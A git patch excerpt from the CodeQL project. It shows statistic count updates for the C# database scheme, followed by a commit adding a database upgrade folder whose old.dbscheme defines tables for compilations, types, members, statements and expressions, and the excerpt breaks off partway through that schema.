+5534 7 @@ -40716,17 +40877,17 @@ 1 2 -54396 +54390 2 3 -11080 +11079 3 6 -5530 +5529 6 @@ -40747,12 +40908,12 @@ 1 2 -53845 +53839 2 3 -11167 +11166 3 @@ -40762,7 +40923,7 @@ 5 17 -1068 +1067 @@ -41425,7 +41586,7 @@ 1 2 -94434 +94425 2 @@ -41446,7 +41607,7 @@ 1 2 -97736 +97727 @@ -41462,7 +41623,7 @@ 1 2 -94434 +94425 2 @@ -41483,7 +41644,7 @@ 1 2 -95473 +95464 2 @@ -41504,7 +41665,7 @@ 1 2 -95517 +95508 2 @@ -41525,7 +41686,7 @@ 1 2 -94434 +94425 2 @@ -41546,7 +41707,7 @@ 1 2 -98726 +98716 2 @@ -41567,7 +41728,7 @@ 1 2 -99955 +99945 @@ -41583,7 +41744,7 @@ 1 2 -98726 +98716 2 @@ -41604,7 +41765,7 @@ 1 2 -99779 +99770 2 @@ -41625,7 +41786,7 @@ 1 2 -99955 +99945 @@ -41641,7 +41802,7 @@ 1 2 -98726 +98716 2 @@ -41662,7 +41823,7 @@ 1 2 -101579 +101569 @@ -41678,7 +41839,7 @@ 1 2 -101579 +101569 @@ -41694,7 +41855,7 @@ 1 2 -101579 +101569 @@ -41710,7 +41871,7 @@ 1 2 -101579 +101569 @@ -41726,7 +41887,7 @@ 1 2 -101579 +101569 @@ -41742,7 +41903,7 @@ 1 2 -101579 +101569 @@ -41800,15 +41961,15 @@ cil_handler_type -43862 +43857 id -43862 +43857 catch_type -1263 +1262 @@ -41822,7 +41983,7 @@ 1 2 -43862 +43857 @@ -41883,11 +42044,11 @@ cil_method_stack_size -1727894 +1727727 method -1727894 +1727727 size @@ -41905,7 +42066,7 @@ 1 2 -1727894 +1727727 @@ -41986,110 +42147,110 @@ cil_public -1912268 +1912131 id -1912268 +1912131 cil_private -929450 +929360 id -929450 +929360 cil_protected -1819559 +1819432 id -1819559 +1819432 cil_internal -41716 +41712 id -41716 +41712 cil_static -795493 +795416 id -795493 +795416 cil_sealed -356818 +356783 id -356818 +356783 cil_virtual -678098 +678033 id -678098 +678033 cil_abstract -165304 +165289 id -165304 +165289 cil_class -238735 +238712 id -238735 +238712 cil_interface -16561 +16560 id -16561 +16560 @@ -42118,37 +42279,37 @@ cil_specialname -811587 +811508 id -811587 +811508 cil_newslot -422582 +422541 id -422582 +422541 cil_base_class -235750 +235727 id -235750 +235727 base -21423 +21421 @@ -42162,7 +42323,7 @@ 1 2 -235750 +235727 @@ -42178,7 +42339,7 @@ 1 2 -12323 +12322 2 @@ -42213,15 +42374,15 @@ cil_base_interface -125295 +125283 id -68646 +68639 base -31216 +31213 @@ -42235,7 +42396,7 @@ 1 2 -47729 +47724 2 @@ -42250,7 +42411,7 @@ 5 9 -5379 +5378 9 @@ -42271,12 +42432,12 @@ 1 2 -22491 +22489 2 3 -3433 +3432 3 @@ -42301,11 +42462,11 @@ cil_enum_underlying_type -14079 +14078 id -14079 +14078 underlying @@ -42323,7 +42484,7 @@ 1 2 -14079 +14078 @@ -42384,11 +42545,11 @@ cil_type_parameter -184987 +184969 unbound -103988 +103978 index @@ -42396,7 +42557,7 @@ param -184987 +184969 @@ -42410,12 +42571,12 @@ 1 2 -75039 +75032 2 3 -19014 +19012 3 @@ -42441,12 +42602,12 @@ 1 2 -75039 +75032 2 3 -19014 +19012 3 @@ -42704,7 +42865,7 @@ 1 2 -184987 +184969 @@ -42720,7 +42881,7 @@ 1 2 -184987 +184969 @@ -42730,11 +42891,11 @@ cil_type_argument -737912 +737841 bound -481874 +481827 index @@ -42742,7 +42903,7 @@ t -252478 +252453 @@ -42756,17 +42917,17 @@ 1 2 -336549 +336517 2 3 -117487 +117476 3 22 -27836 +27834 @@ -42782,17 +42943,17 @@ 1 2 -341460 +341427 2 3 -115371 +115359 3 22 -25042 +25040 @@ -43020,27 +43181,27 @@ 1 2 -100428 +100418 2 3 -72830 +72823 3 4 -42535 +42531 4 6 -20126 +20124 6 4208 -16556 +16555 @@ -43056,12 +43217,12 @@ 1 2 -191015 +190997 2 3 -55547 +55541 3 @@ -43167,15 +43328,15 @@ cil_attribute -328678 +328646 attributeid -328678 +328646 element -248884 +248860 constructor @@ -43193,7 +43354,7 @@ 1 2 -328678 +328646 @@ -43209,7 +43370,7 @@ 1 2 -328678 +328646 @@ -43225,17 +43386,17 @@ 1 2 -197574 +197555 2 3 -36737 +36733 3 92 -14571 +14570 @@ -43251,12 +43412,12 @@ 1 2 -213449 +213428 2 3 -31031 +31028 3 @@ -43403,19 +43564,19 @@ cil_attribute_named_argument -3842 +5563 attribute_id -3350 +4627 param -141 +156 value -1092 +1097 @@ -43429,12 +43590,12 @@ 1 2 -2930 +3764 2 3 -346 +789 3 @@ -43455,12 +43616,12 @@ 1 2 -2930 +4057 2 3 -404 +555 3 @@ -43485,8 +43646,8 @@ 2 -3 -4 +4 +9 4 @@ -43535,6 +43696,11 @@ 96 +122 +9 + + +229 308 9 @@ -43552,12 +43718,12 @@ 1 2 -73 +78 2 3 -9 +19 3 @@ -43607,13 +43773,13 @@ 3 -6 -87 +5 +82 -6 -308 -43 +5 +310 +53 @@ -43629,11 +43795,11 @@ 1 2 -1063 +1067 2 -8 +10 29 @@ -43644,11 +43810,11 @@ cil_attribute_positional_argument -87236 +96259 attribute_id -84061 +90129 index @@ -43656,7 +43822,7 @@ value -15713 +17130 @@ -43670,12 +43836,12 @@ 1 2 -81374 +85443 2 7 -2687 +4686 @@ -43691,12 +43857,12 @@ 1 2 -81384 +85453 2 7 -2677 +4676 @@ -43720,23 +43886,23 @@ 4 -26 -27 +117 +118 4 -36 -37 +141 +142 4 -551 -552 +961 +962 4 -17237 -17238 +18483 +18484 4 @@ -43751,8 +43917,8 @@ 12 -3 -4 +4 +5 4 @@ -43761,18 +43927,18 @@ 9 -10 -11 +25 +26 4 -323 -324 +433 +434 4 -2916 -2917 +3119 +3120 4 @@ -43789,22 +43955,22 @@ 1 2 -12011 +12351 2 3 -1994 +2462 3 -8 -1209 +6 +1428 -8 -5463 -497 +6 +5555 +887 @@ -43820,12 +43986,12 @@ 1 2 -15557 +16803 2 6 -156 +326 @@ -43835,11 +44001,11 @@ metadata_handle -6184267 +6183669 entity -5692834 +5692332 location @@ -43847,7 +44013,7 @@ handle -274370 +274343 @@ -43861,17 +44027,17 @@ 1 2 -5219601 +5219194 2 3 -464205 +464112 3 638 -9027 +9026 @@ -43887,12 +44053,12 @@ 1 2 -5451758 +5451328 2 59 -241076 +241004 @@ -44065,62 +44231,62 @@ 1 2 -18951 +18949 2 3 -45061 +45057 3 5 -23935 +23933 5 6 -17527 +17525 6 7 -30163 +30160 7 9 -18990 +18988 9 11 -22106 +22104 11 13 -21053 +21051 13 21 -21482 +21480 21 39 -21145 +21143 39 83 -20589 +20587 83 1062 -13362 +13361 @@ -44136,52 +44302,52 @@ 1 2 -62959 +62953 2 3 -21111 +21109 3 4 -47027 +47022 4 5 -18951 +18949 5 6 -19414 +19412 6 7 -22082 +22080 7 11 -23311 +23308 11 19 -22014 +22011 19 41 -20872 +20870 41 702 -16625 +16623 From 6fd1f0049d1d27fa7ed4b0ea1ba3d3c22a5c7d3c Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Fri, 18 Dec 2020 09:10:55 +0100 Subject: [PATCH 0307/1241] Add DB upgrade folder --- .../old.dbscheme | 1899 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1906 +++++++++++++++++ .../upgrade.properties | 2 + 3 files changed, 3807 insertions(+) create mode 100644 csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/old.dbscheme create mode 100644 csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/semmlecode.csharp.dbscheme create mode 100644 csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/upgrade.properties diff --git a/csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/old.dbscheme b/csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/old.dbscheme new file mode 100644 index 00000000000..f5903552e30 --- /dev/null +++ b/csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/old.dbscheme @@ -0,0 +1,1899 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; 